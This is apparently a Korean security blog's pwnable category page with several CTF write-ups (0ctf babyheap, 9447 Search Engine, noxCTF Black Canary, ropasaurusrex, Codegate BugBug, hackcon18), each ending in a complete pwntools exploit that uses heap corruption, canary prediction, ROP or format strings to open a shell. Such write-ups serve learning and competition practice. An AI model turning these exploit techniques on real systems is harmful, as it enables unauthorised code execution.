Write-up/Pwnable

[0ctf 2017] babyheap

2018. 10. 20. 01:36

풀었습니다!

fastbin fd를 덮어서 이리저리 조작...


0x70 사이즈의 fastbin fd를 __malloc_hook의 주소로 덮어서 새로운 청크를 할당하여 그곳을 oneshot으로 덮어 쉘을 얻었습니다.


참고로 __malloc_hook은 사용자가 hook함수를 등록해놓았을 때, malloc 호출시 실행되는 함수로 보통 디버깅용도로 사용된다고합니다.

그래서 __malloc_hook 을 덮으면 malloc시에 원하는 함수를 실행시킬수 있습니다.


사실 타 라이트업이 굉장히 많기도해서 설명은 생략하고... 코드의 주석으로 대체!



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
from pwn import *
 
conn = process("./0ctfbabyheap")
 
def Allocate(size):
    conn.recvuntil("Command: ")
    conn.sendline("1")
    conn.recvuntil("Size: ")
    conn.sendline(str(size))
    
def Fill(idx, size, content):
    conn.recvuntil("Command: ")
    conn.sendline("2")
    conn.recvuntil("Index: ")
    conn.sendline(str(idx))
    conn.recvuntil("Size: ")
    conn.sendline(str(size))
    conn.recvuntil("Content: ")
    conn.send(content)
    
def Free(idx):
    conn.recvuntil("Command: ")
    conn.sendline("3")
    conn.recvuntil("Index: ")
    conn.sendline(str(idx))
    
def Dump(idx):
    conn.recvuntil("Command: ")
    conn.sendline("4")
    conn.recvuntil("Index: ")
    conn.sendline(str(idx))
 
Allocate(10)
Allocate(10)
Allocate(10)
Allocate(10)
Allocate(128)
Allocate(0x60)
Allocate(0x60)
Allocate(0x60)
 
# stage1. fake chunk size 0x41 (idx:1)
# leak heap_address
payload = p64(0)*3
payload += p64(0x41)
Fill(0len(payload), payload)
Free(1)    # free idx:1
conn.sendline("c")
 
Allocate(48# reallocate idx:1 size is  0x21 -> 0x41
payload = p64(0)*3    
payload += p64(0x21)    ## calloc! so.. Recover idx 3 chunk
Fill(1len(payload), payload) 
 
Free(3# 3
conn.sendline("c")
Free(2# 2
conn.sendline("c")
 
# leak heap_addr
Fill(10x20"A"*0x20)
Dump(1)
conn.recvuntil("A"*0x20)
heap_addr = u64(conn.recv(6)+"\x00"*2)-0x60
log.info("heap_addr : "+hex(heap_addr));
 
# fastbin fd_overwrite
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)
payload += p64(heap_addr+0x80# smallbin chunk address
Fill(0len(payload), payload)
 
Allocate(10# idx 2 
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)    # smallbin chunk size -> overwrite fastbin size
Fill(2len(payload), payload)
 
Allocate(10# idx 3 allocate fastbin(but this is smallbin chunk)
 
# Recover smallbin_size
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x91)
Fill(2len(payload), payload)
Free(4)
conn.sendline("c")
 
# leak Library Address
Dump(3)
conn.recvuntil("Content: \n")
libc_addr = u64(conn.recv(6)+"\x00"*2- 0x3c27b8
log.info("libc_addr : "+hex(libc_addr))
 
malloc_hook = libc_addr + 0x3c2740
oneshot = libc_addr + 0x4647c #0x4647c 0xe9415 0xea36d
log.info("malloc_hook : "+hex(malloc_hook))
log.info("oneshot : "+hex(oneshot))
 
## overwrite fd
Free(7)
conn.sendline("c")
Free(6)
conn.sendline("c")
 
payload = p64(0)*13
payload += p64(0x71)
payload += p64(malloc_hook-0x13)
Fill(5len(payload), payload)
 
Allocate(0x60# idx 4
Allocate(0x60# idx 6
 
## overwrite malloc_hook -> oneshot
payload = "\x00"*0x3
payload += p64(oneshot)
Fill(6len(payload), payload)
 
Allocate(0x1# idx 4
 
conn.interactive()
 
 
cs


'Write-up > Pwnable' 카테고리의 다른 글

[Codegate 2019] 20000 ( grep 이용하기)  (0) 2019.01.30
[Insomni'hack 2019] onewrite writeup  (0) 2019.01.21
[9447 CTF 2015] Search Engine  (1) 2018.09.30
[noxCTF] The Black Canary writeup  (0) 2018.09.13
[PlaidCTF] ropasaurusrex  (0) 2018.08.27

[9447 CTF 2015] Search Engine

2018. 9. 30. 22:53

요즘 Heap 쪽을 공부하고 있습니다. 그래서 Shellphish팀에서 정리해놓은 how2heap문서를 보면서 공부를 하고 있는데, 처음부터 굉장히 어려운 문제를 잡은 느낌이 듭니다 ;; 이 문제를 본 것은 한달 전이지만 푼 것은 한달 후네요 ㅠ 아무튼 시작했으니 끝을 보긴해야해서 이렇게 write up으로 남겨봅니다.



예시가 너무 어렵습니다 Shellphish팀... 쉬운 문제없나요 ㅠ


Ever wanted to search through real life? Well this won't help, but it will let you search strings.

Find it at search-engine-qgidg858.9447.plumbing port 9447.


아무튼 문제는 위와 같습니다. 문자열 검색을 수행하는 바이너리를 하나 던져주는데, 보호기법을 확인해보면 아래와 같습니다.



Canary와 NX가 걸려있는데, 일단 한번 실행해보는게 좋을 것 같습니다.



주어진 바이너리를 실행하게 되면 3가지 메뉴가 주어지고 문자열을 추가(Index), 검색(Search)할 수 있습니다.



그리고 Search를 통해 단어를 검색하여 그 단어가 포함된 문장을 검색할 수 있고, 또 검색한 후 그 문자열을 삭제할지 말지를 결정할 수 있습니다.


이제 IDA를 통해 바이너리의 자세한 과정을 살펴보겠습니다.




while문안에서 메뉴를 출력하고 어떤 기능을 수행할지 선택하게 됩니다.



AddSentence함수를 살펴보면 위와 같이 구조체를 malloc을 통해 할당하여 입력받은 문장을 저장하는 것을 볼 수 있습니다.


또한 공백을 기준으로 word를 나눠서 이를 또 구조체를 malloc으로 할당해서 Linked list를 만들게 됩니다.


struct dic {
    char* word_addr;
    int word_size;
    char* sentence_addr;
    int sentence_size;
    struct dic* next;
};


그럼 이제 어디서 취약점이 터지느냐? 아래 Search함수를 보면 memset을 통해서 sentence에 저장된 내용은 NULL(0)으로 모두 지워버리고, free를 하는 것을 볼 수 있습니다. 하지만 word들이 저장된 Linked List에서는 이를 삭제해버리지 않기때문에, NULL값을 검색하게되면 이미 삭제되었던 값을 다시 한번 삭제하고 free할 수 있게 되어 double free bug가 발생하게 됩니다.




그러므로 우리는 여기서 fastbin list를 HEAD -> B -> A -> B .. 형식으로 만들 수 있고, B를 2번 할당할 수 있으므로 B의 fd 값을 수정하여 다음에 할당할 영역의 주소를 임의로 조작할 수 있습니다.


그런데 어디에 있는 값을 수정해야할까요?



main함수가 끝나는 ret에 break를 걸고 스택에 있는 값을 살펴보면 위와 같습니다. 0x40~~이 있는데 이 위치를 잘 조정해서, 아래와 같이해서 fastbin리스트에 넣게되면 0x40을 size로 보고 정상적으로 fastbin에 포함되게 됩니다.




하지만 저희는 스택값을 모르는데요?

그래서 스택값을 leak해야하는데, 이것은 아래 함수를 통해서 할 수 있습니다.


위 함수는 사용자로부터 숫자를 입력받고, 만약 숫자가 아닌값이 입력된다면 재귀적으로 다시 한번 자기자신을 호출하여 숫자를 입력받을 때까지 계속하게 호출되게 됩니다. 그런데 이 때 2번째 Select_choice함수를 호출하게 될 때, 이전 함수의 ebp가 남아있게 되는데 이 위치가 num+48에 있기때문에 num을 입력할 때, 문자열 48자리로 채우게 되면 printf로 출력될 때 NULL바이트를 만날때까지 출력되기때문에 스택주소를 leak할 수 있습니다.



자.. 이제 스택 주소도 구했겠다. 이제 library주소만 leak할 수 있다면 완벽할 텐데 말이죠. 그래서 여러가지 알아보던 중에 저희 팀의 chaem님이 올린 글을 보게됬는데, 여기서 smallbin을 이용해서 library주소를 leak할 수 있다는 것을 알게 되었습니다.



(0ctf2017) babyheap Write up에서 나온 smallbin을 이용하는 방법입니다.


6. 그리고 4번 chunk의 크기를 다시 smallbin 크기로 만들어주고 free합니다. free하면 smallbin 특성상 unsorted bin이 되기 때문에 fd와 bk에 main_arena+88 주소가 남게 됩니다. 이 점을 이용하면 dump를 통해 main_arena+88의 leak이 가능합니다.



fastbin 이외의 다른 bin들은 free되고 나면 데이터영역에 fd와 bk가 남게되는데, 이 때 다음 fd와 bk를 연결할 chunk가 없다면 libc의 <main_area+88>의 주소가 남게됩니다.


자. 이제 libc_base도 구했고, stack_address도 있으니 double free bug를 이용해서 ret에 원하는 주소를 쓰면 되겠습니다.


이것을 정리하면 아래와 같습니다.


  1. stack addresslibc_base leak
  2. oneshot_gadget 구하기
  3. ret를 oneshot_gadget으로 덮기
#!/usr/bin/env python
from pwn import *

conn = process("search")

def leak_stack():
	conn.recvuntil("3: Quit")
	conn.sendline("1")
	conn.recvuntil("size:")
	conn.sendline("A")
	conn.recvuntil("number")
	conn.sendline("A"*48)
	stack_addr = conn.recvuntil(" is ")[-10:-4]
	stack_addr = u64(stack_addr + "\x00"*2)
	conn.sendline("1")
	conn.recvuntil("word:")
	conn.sendline("A")
	return stack_addr

def Search(word, size):
	conn.recvuntil("3: Quit")
	conn.sendline("1")
	conn.recvuntil("size:")
	conn.sendline(str(size))
	conn.recvuntil("word:")
	conn.sendline(word)

def Delete(choice):
	conn.recvuntil("(y/n)?")
	conn.sendline(choice)

def AddSentence(sentence, size):
	conn.recvuntil("3: Quit")
	conn.sendline("2")
	conn.recvuntil("size:")
	conn.sendline(str(size))
	conn.recvuntil("sentence:")
	conn.sendline(sentence)

stack_addr = leak_stack() + 0x92 # fake size 0x40
log.info("stack_addr : 0x%x" % stack_addr)

#leak_libc  -  <main_arena+88>
AddSentence("A"*506+" small", 512)
Search("small", 5)
Delete("y")

Search("\0"*5, 5)
conn.recvuntil(": ")
libc_addr = u64(conn.recv(8)) - 0x3c4b78
log.info("libc_addr  : 0x%x" % libc_addr)
Delete("n")

# double free bug
AddSentence("A"*50+" dfb", 54) #A
AddSentence("B"*50+" dfb", 54) #B
AddSentence("C"*50+" dfb", 54) #C

# fastbin HEAD -> A -> B -> C -> NULL
Search("dfb", 3)
Delete("y") #C
Delete("y") #B
Delete("y") #A

# fastbin HEAD -> B -> A -> B -> C -> NULL
Search("\x00"*3, 3)
Delete("y") #B
Delete("n") #A

# fastbin HEAD -> B -> A -> B -> X ...
AddSentence(p64(stack_addr).ljust(54), 54) #B
AddSentence("A"*50+" dfb", 54) #A
AddSentence("A"*50+" dfb", 54) #B

# ret overwrite
oneshot = libc_addr + 0x45216
log.info("oneshot  : 0x%x" % oneshot)

payload = "A"*6
payload += p64(oneshot)
AddSentence(payload.ljust(54), 54) #B

conn.recvuntil("3: Quit")
conn.sendline("3")

conn.interactive()



이제 익스코드를 돌려보면 아래와 같이 쉘을 얻은 것을 볼 수 있습니다.



*후기

역시 heap은 어렵군요 ㅠㅠ 더 열심히 공부해야겠습니다. 분명 비슷한 문제를 이전에 풀어본거같은데, 할 때마다 heap은 헷갈리는 것 같습니다. 익숙치않아서 그런걸까요 ㅎㅎ; 그리고 저는 pwnalbe문제를 풀 때 주로 peda를 쓰는데, 역시 heap 문제 풀때는 pwndgb가 더 편한것같네요... 다음에 문제를 풀게 되면 한 번 이용해봐야겠습니다. 워낙 익숙하지않아서 후... 다음번에는 좀 더 문제를 빠르게 풀 수 있으면 좋겠습니다!

'Write-up > Pwnable' 카테고리의 다른 글

[Insomni'hack 2019] onewrite writeup  (0) 2019.01.21
[0ctf 2017] babyheap  (0) 2018.10.20
[noxCTF] The Black Canary writeup  (0) 2018.09.13
[PlaidCTF] ropasaurusrex  (0) 2018.08.27
[Codegate] BugBug  (0) 2018.08.22

noxCTF 2018에서 나온 The Black Canary라는 문제이다. 문제명에서 짐작할 수 있듯이 Canary를 우회해야한다.



"당신에게 세상을 구할수 있는 기회가 주어졌다. 그것을 낭비하지마라"

넹... 일단 nc와 바이너리가 주어집니다. 바이너리를 다운받아서 분석해봅시다.



카나리가 있다. 문제 이름부터가 블랙카나리이니 예상했던 바이다.

실행하면 아래와 같다.



5가지 메뉴가 있고 각각 인자를 추가, 수정, 제거, 출력하는 기능을 가지고 있다.

IDA를 이용해 분석해보면 아래의 3번 메뉴에서 취약점이 터지는 것을 찾을 수 있다.



여기서 many 변수에 인자를 몇개 삭제할 건지를 scanf로 받게되는데, 음수체크를 하지않아서 음수를 넣게되면

num -= many 에서 오히려 더하기가 되어 저장된 인자수를 증가시킬수 있다.



이렇게 원래라면 10개이상 생성이 되지않지만...



Remove 메뉴에서 consecutive 하게 삭제하는 메뉴를 선택하여 -10만큼 삭제하라고 하면...



이렇게 출력메뉴에서 현재 저장된 인자수가 10에서 -10을 빼게되어 20이 되어 스택의 내용이 출력된다.

그러므로 이제 인자 수정메뉴를 통해서 스택에 올라가있는 return address를 수정할 수 있는데, 문제는 여기서 10번째 인자를 수정하게 될때

카나리값이 포함되어 있어 return address를 새로 쓰는 과정에서 카나리가 변조되어 *** stack smashing detected ***: 이 뜨게 된다.


그럼 카나리값(Canary)을 leak해야하는 건가.. 싶었는데, 이게 사용자로부터 입력을 fgets함수로 받아서 \n은 null로 바꿔주고, 맨 마지막에 항상 null이 붙기때문에 null값을 제거해서 Canary를 leak하는 방식은 사용할 수 없다.


대체 어떻게해야하지 ㅁㄴㅇㄹ 여기서부터 CTF당시에 Canary를 leak도 못하고 뭘 어떻게해야할지몰라서 헤매다가 결국 못풀엇는데 ㅡㅡ; 의외로 해결법이 간단햇다... 게다가 내가 멍청했다;; 예전에 한번 정리해두고 써먹지를 못함 ㅡㅡ;

Stack Canary 우회 : https://xerxes-break.tistory.com/285



위 글에서 3. Canary 루틴 노출 : Canary를 만드는 루틴이 노출될 경우 역연산을 통해서 canary를 알아낼 수 있다.   이 부분이다.

IDA로 분석할 때, 제대로 보지않아서 생긴 대참사...

다시한번 IDA에서 함수들을 잘살펴보면 Canary값을 만드는 함수가 있다. sub_4008C7을 살펴보면 *MK_FP(__FS__, 40LL) = result를 저장하는데... 이게 카나리...



그리고 이 함수는 .init_array에 들어가 있는데, .init_array는 오브젝트 파일을 로드할 때 실행되는 함수의 포인터 배열이 있는 곳으로 프로그램이 실행되면 .init_array 섹션에서 함수 포인터를 호출하게 된다.



그러므로 프로그램이 시작하면 저기서 Canary값을 Set하게 되는것...

이제 저 루틴을 그대로 가져와서 그대로 사용해도 되고, Code patch를 통해서 출력하게 해도 된다.


Code patch가 더 간단할수도 있지만, 카나리 생성함수를 그대로 가져와서 C언어로 짜면 아래와 같다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
// gcc set_canary.c -g -o set_canary
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <stdint.h>
/* #include <linux/types.h> */
/* # define unsigned __int8 __uint8_t */
/* # define unsigned __int16 __uint16_t */
/* # define unsigned __int16 __uint64_t */
# define _DWORD uint32_t
# define getenv(NULL0
# define LODWORD(x)  (*((_DWORD*)&(x)))  // low dword
 
__uint64_t set_canary()
{
  int v0; // ebx
  __uint64_t v1; // rbx
  int v2; // er12
  __uint64_t v3; // ST08_8
  time_t v4; // rbx
  __uint64_t v5; // ST08_8
  time_t v6; // ST08_8
  time_t v7; // ST08_8
  __uint64_t result; // rax
 
  time(0LL);
  time(0LL);
  v0 = time(0LL) >> 24;
  v1 = (__uint64_t)(__uint8_t)(v0 ^ (__uint64_t)getenv(NULL)) << 24;
  v2 = time(0LL) >> 16;
  v3 = v1 + ((__uint64_t)(__uint8_t)(v2 ^ (__uint64_t)getenv(NULL)) << 16);
  v4 = time(0LL) >> 8;
  v5 = (__uint16_t)((((__uint16_t)v4 ^ (__uint16_t)time(0LL)) << 8& 0xFF00+ v3;
  v6 = ((time(0LL) << 32& 0xFF00000000LL) + v5;
  v7 = time(0LL) + v6;
  LODWORD(v4) = time(0LL) >> 24;
  LODWORD(v4) = (time(0LL) >> 16+ v4;
  LODWORD(v4) = (time(0LL) >> 8+ v4;
  result = ((__uint64_t)(__uint8_t)(v4 + time(0LL)) << 40+ v7;
  /* __writefsqword(0x28u, result); */
  return result;
}
 
int main()
{
    printf("0x%lx\n", set_canary());
}
 
 
/* original
unsigned __int64 sub_4008C7()
{
  int v0; // ebx@1
  unsigned __int64 v1; // rbx@1
  int v2; // er12@1
  unsigned __int64 v3; // ST08_8@1
  time_t v4; // rbx@1
  unsigned __int64 v5; // ST08_8@1
  time_t v6; // ST08_8@1
  time_t v7; // ST08_8@1
  unsigned __int64 result; // rax@1
  time(0LL);
  time(0LL);
  v0 = time(0LL) >> 24;
  v1 = (unsigned __int64)(unsigned __int8)(v0 ^ (unsigned __int64)getenv(name)) << 24;
  v2 = time(0LL) >> 16;
  v3 = v1 + ((unsigned __int64)(unsigned __int8)(v2 ^ (unsigned __int64)getenv(name)) << 16);
  v4 = time(0LL) >> 8;
  v5 = (unsigned __int16)((((unsigned __int16)v4 ^ (unsigned __int16)time(0LL)) << 8) & 0xFF00) + v3;
  v6 = ((time(0LL) << 32) & 0xFF00000000LL) + v5;
  v7 = time(0LL) + v6;
  LODWORD(v4) = time(0LL) >> 24;
  LODWORD(v4) = (time(0LL) >> 16) + v4;
  LODWORD(v4) = (time(0LL) >> 8) + v4;
  result = ((unsigned __int64)(unsigned __int8)(v4 + time(0LL)) << 40) + v7;
  *MK_FP(__FS__, 40LL) = result;
  return result;
}
*/
cs



이제 return address를 oneshot_gadget으로 덮어주면 되겠다.

라이브러리주소는 인자 15번째에서 leak이 되므로, 거기서부터해서 oneshot까지 offset을 구해서 공격하면 된다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python
from pwn import *
import os
#context.log_level = 'debug'
conn = remote("chal.noxale.com"6667)
 
def Print():
    conn.recvuntil("5. Let the world die")
    conn.sendline("1")
    
def Add(argument):
    conn.recvuntil("5. Let the world die")
    conn.sendline("2")
    conn.recvuntil("Enter your argument:")
    conn.sendline(argument)
 
def Edit(idx, argument):
    conn.recvuntil("5. Let the world die")
    conn.sendline("3")
    conn.recvuntil("Which argument would you like to edit?")
    conn.sendline(str(idx))
    conn.recvuntil("Enter your new argument:")
    conn.sendline(argument)
 
def Remove(select, idx, num,argument):
    conn.recvuntil("5. Let the world die")
    conn.sendline("4")
    conn.recvuntil("What would you like to do?")
    conn.sendline(str(select))
    conn.recvuntil("?")
    conn.sendline(str(idx))
    if select==2:
        conn.recvuntil("?")
        conn.sendline(str(num))
 
def WorldDie():
    conn.recvuntil("5. Let the world die")
    conn.sendline("5")
        
canary = int(os.popen("./get_canary").read().strip(),16)
log.info("canary : 0x%x" % canary)
        
for i in range(9):
    Add("a"*31)
 
Add("b"*31)
Remove(2,0,-6,"")
Print()
conn.recvuntil("15. ")
 
libc_addr = u64(conn.recv(6)+"\x00"*2- 0x5f1168
log.info("libc_addr : 0x%x" % libc_addr)
oneshot = libc_addr + 0x45216
 
#ROP
payload = p64(0xdeadbeef)
payload += p64(canary)
payload += p64(0xdeadbeef)
payload += p64(oneshot)
 
Edit(10, payload[:-1])
WorldDie()
 
conn.interactive()
 
 
cs


'Write-up > Pwnable' 카테고리의 다른 글

[0ctf 2017] babyheap  (0) 2018.10.20
[9447 CTF 2015] Search Engine  (1) 2018.09.30
[PlaidCTF] ropasaurusrex  (0) 2018.08.27
[Codegate] BugBug  (0) 2018.08.22
[hackcon18] Simpe Yet Elegent  (0) 2018.08.18

[PlaidCTF] ropasaurusrex

2018. 8. 27. 23:41

보통 rop 공부를 할 때, 풀어보는 문제 1순위권에 들어간다고한다. 문제이름도 rop어쩌구저쩌구이니 그럴만하다고 생각한다.

(물론 나는 이제 풀어보지만)


어쨋든 오늘은 고향으로 내려오는데 비가 겁나게 내려서 고생하고, 각종 대중교통에 시달려서 피곤해서;;

왠지 쉬울것같기도하고 예전에 rop공부하면서 "풀어봐야지~ 풀어봐야지~"하면서 결국 안푼 ropasaurusrex를 꺼내왔다.


그런데 쉬움 ㅇㅇ


writeup이 이제와서는 그냥 저냥 스샷도없고 말로만 설명하게 된다. 이게 귀차니즘이란건가

아마 이 롸업을 보는 사람이 있다면 이 문제를 풀어보려하거나 문제를 풀고 다른 사람이 어떻게 풀었는지 보는 사람일테니

바이너리랑 익스코드만 올리겠당..


바이너리는 여기


ropasaurusrex


익스는 대충 이렇다.


#stage 1

1. BOF를 일으켜 ROP한다.

2. write(1, read@got, 4)로 read의 주소를 leak

3. read(0, bss영역주소, 8)로 "/bin/sh"를 bss영역에 쓴다.

4. 2에서 leak한 read주소로부터 system함수의 주소를 구한다. (함수 오프셋이용)

5. 다시 main으로 점프한다.


위 단계를 마치게되면, system함수의 주소와 "/bin/sh"가 bss영역에 쓰여있게 된다.

그리고 다시 main으로 돌아왔으므로, 다시 bof를 일으키고 system("/bin/sh")로 뛰게하면 된다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python
from pwn import *
 
conn = process("./ropasaurusrex")
 
main_addr = 0x804841d
read_plt = 0x804832c
write_plt = 0x804830c
pppr = 0x80484b6
 
read_got = 0x804961c
write_got = 0x8049614
bss = 0x8049628
 
payload  = "A"*0x88           #buf
payload += p32(0xdeadbeef#sfp
# write stdout , read's address
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
 
# bss <- "/bin/sh" : read stdin
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(8)
payload += p32(main_addr)
 
conn.sendline(payload)
 
read_addr = u32(conn.recv(4))
system_addr = read_addr - 0x9ad60
log.info("read_address   : 0x%x" % read_addr)
log.info("system_address : 0x%x" % system_addr)
 
# read(0, bss, 4)  <- "/bin/sh\x00"
conn.send("/bin/sh\x00")
 
payload  = "A"*0x88           #buf
payload += p32(0xdeadbeef#sfp
# system("/bin/sh")
payload += p32(system_addr)
payload += p32(0xdeadbeef)
payload += p32(bss)
 
conn.sendline(payload)
conn.interactive()
 
 
 
 
cs


'Write-up > Pwnable' 카테고리의 다른 글

[9447 CTF 2015] Search Engine  (1) 2018.09.30
[noxCTF] The Black Canary writeup  (0) 2018.09.13
[Codegate] BugBug  (0) 2018.08.22
[hackcon18] Simpe Yet Elegent  (0) 2018.08.18
[WhiteHatWargame.vn] nobaby  (0) 2018.08.13

[Codegate] BugBug

2018. 8. 22. 18:11

아 풀다가 화나서ㅁㄴㅇㄹ... 대체 고놈의 오류때문에;;; 결국 원인은 알아내지못하고 갈아엎고 다시 코드를 짜게 되었다 ㅡㅡ;;;


귀찮아서 설명은 안적겟다 하ㅏㅏㅏㅏ 진짜;;;

그냥 익스코드만 올려놔야지



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>
 
int main(int argc, char* argv[])
{
    unsigned int seed;
    //FILE* urand = fopen("/dev/urandom", "rb");
    int i,j;
    int random[6]={0,0,0,0,0,0};
    int next_random;
 
    if(argc <2 )
        return 0;
    seed = atoi(argv[1]);
        //fread(&seed, 4, 1, urand);
       srand(seed);
 
    for(i=0; i<6; i++)
    {
        next_random = rand()%45+1;
        for(j=0; j<i; j++)
        {
            if(random[j]==next_random){
                next_random = rand()%45+1;
                j=0;
            }
        }
        random[i]=next_random;
    }
    for(i=0; i<6; i++)
        printf("%d ",random[i]);
    printf("\n");
    return 0;
}    
 
cs






1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
from subprocess import Popen, PIPE
 
conn = process("./BugBug")
 
def get_lottonum(seed):
    command = "./rand "+str(seed)
    popen = Popen(command, shell=True, stdout=PIPE)
    output, error = popen.communicate()    
    return output
 
exit_got = 0x804A024
printf_got = 0x804A010
main_addr = 0x804882E
 
# exit_got -> main_addr
payload = "%"+str(main_addr&0xFFFF)+"x"
payload += "%21$hn"
payload += "A"*(16-len(payload))
payload += p32(exit_got)
payload += "BASE%4$x"
payload += "B"*(100-len(payload))
 
conn.recvuntil("Who are you?")    
conn.sendline(payload)
conn.recvuntil("Hello~ ")
conn.recv(100)
## leak Lotto SEED
seed = u32(conn.recv(4))
lotto_num = get_lottonum(seed)
 
## leak and FSB
log.info(lotto_num)
conn.recvuntil("==> ")
conn.sendline(lotto_num)
 
## leak BASE_addr
conn.recvuntil("BASE")
base_addr = int(conn.recvuntil("BB")[:-2], 16- 0x1fda74
log.info("base_addr : 0x%x" % base_addr)
 
system_addr = base_addr + 0x3ada0
system_first = (system_addr&0xFFFF)
system_next = (system_addr>>16- (system_addr&0xFFFF)
 
log.info("distance : %d" % (system_next))
 
payload = "%"+str(system_first)+"x"
payload += "%26$hn"
payload += "%"+str(system_next)+"x"
payload += "%27$hn"
payload += "A"*(32-len(payload))
payload += p32(printf_got)
payload += p32(printf_got+2)
payload += "B"*(100-len(payload))
 
conn.sendline(payload)
conn.sendline(lotto_num)
conn.sendline("/bin/sh;")
conn.recvuntil("Input your answer@_@")
conn.sendline(lotto_num)
 
conn.interactive()
cs


'Write-up > Pwnable' 카테고리의 다른 글

[noxCTF] The Black Canary writeup  (0) 2018.09.13
[PlaidCTF] ropasaurusrex  (0) 2018.08.27
[hackcon18] Simpe Yet Elegent  (0) 2018.08.18
[WhiteHatWargame.vn] nobaby  (0) 2018.08.13
[WhiteHatWargame.vn] mini-game  (0) 2018.08.13

[hackcon18] Simpe Yet Elegent

2018. 8. 18. 15:13

hackcon 18 에 있었던 pwn 문제중 가장 배점이 높은 문제이다.

사실상 어렵지 않은 문제였는데; 


아마 함정으로 준비한 포맷스트링에 낚여서 꽤나 헤매다가 풀었다 ㅡㅡ;

딱히 FSB를 사용안하고 BOF, ROP를 통해 충분히 풀수 있는 문제였다;;

그래서 flag도 d4rk{r0p_ch41n1n6_15_5up3r_fun_0n_64_b17_5y573m}c0de 

rop chaining만으로 가능한 것...


뭐.. 대부분의 사람들이 fsb로 leak을 했는데, 그 이유가 일단 got영역의 주소가 0x600a00부터인데 여기서 0a가 개행문자이기때문에 scanf에서 짤려버린다;

그래서 puts를 통해 라이브러리주소를 릭을 하고 싶어도 got주소가 안들어가니 막히는 것이다...


그런데 xor을 이용하면 충분히 해결할 수 있는 문제였다.



여기서 pop rdi; ret; xor edi, ebp; ret; 두 가젯만 있으면 rdi값을 컨트롤 할 수 있다.

rdi에 0x601AE0를 넣고 rbp에 0x1000을 넣어서 두개를 xor하면 0x600AE0이 만들어진다!!


이렇게 leak하고 oneshot가젯으로 뛰어서 쉘을 띄웠다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python
from pwn import *
 
#context.log_level = 'debug'
 
#elf = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#conn = process("./main")
 
elf = ELF("./libc-2.19.so")
conn = remote("139.59.30.165"9200)
 
main_addr = 0x400637
fflush_got = 0x600AE0
fflush_offset = elf.symbols['fflush']
oneshot = 0xea36d
 
puts_plt = 0x400510
pop_rdi = 0x400733
xor_edi = 0x4006c3
 
def leak_stack():
    conn.recvuntil("Give me some inputz:")
    payload = "%42$lx"
    payload += "A"*(0x40-len(payload))
    payload += p64(0x1000)
    payload += p64(pop_rdi)
    payload += p64(fflush_got+0x1000)
    payload += p64(xor_edi)
    payload += p64(puts_plt)
    payload += p64(main_addr)
    conn.sendline(payload)
 
    stack_addr = conn.recvuntil("AA").strip()[:-2]
    stack_addr = int(stack_addr,16)-0xd0+0x28
 
    conn.recvline()
    libc_addr = conn.recv(6+ "\x00"*2
    print(len(libc_addr))
    
    libc_addr = u64(libc_addr) - fflush_offset
    return stack_addr, libc_addr
 
def Attack(fsb):
    conn.recvuntil("Give me some inputz:")
    payload = fsb
    payload += "A"*(0x40-len(payload))
    payload += p64(0xdeadbeef)
    payload += p64(main_addr)
 
    conn.sendline(payload)
    
def oneshot_attack(oneshot_addr):
    conn.recvuntil("Give me some inputz:")
    payload = "A"*0x40
    payload += p64(0xdeadbeef)
    payload += p64(oneshot_addr)
 
    conn.sendline(payload)    
    
stack_addr, libc_addr = leak_stack()
log.info("stack_addr : " + hex(stack_addr))
log.info("libc_addr : " + hex(libc_addr))
 
oneshot_addr = libc_addr+oneshot
oneshot_attack(oneshot_addr)
 
conn.interactive()
cs


a

'Write-up > Pwnable' 카테고리의 다른 글

[PlaidCTF] ropasaurusrex  (0) 2018.08.27
[Codegate] BugBug  (0) 2018.08.22
[WhiteHatWargame.vn] nobaby  (0) 2018.08.13
[WhiteHatWargame.vn] mini-game  (0) 2018.08.13
[WhiteHatWargame.vn] onechange  (0) 2018.08.13

[WhiteHatWargame.vn] nobaby

2018. 8. 13. 02:01

[WhiteHatWargame.vn] mini-game

2018. 8. 13. 01:52

[WhiteHatWargame.vn] onechange

2018. 8. 13. 01:44

[Codegate 2014] nuclear

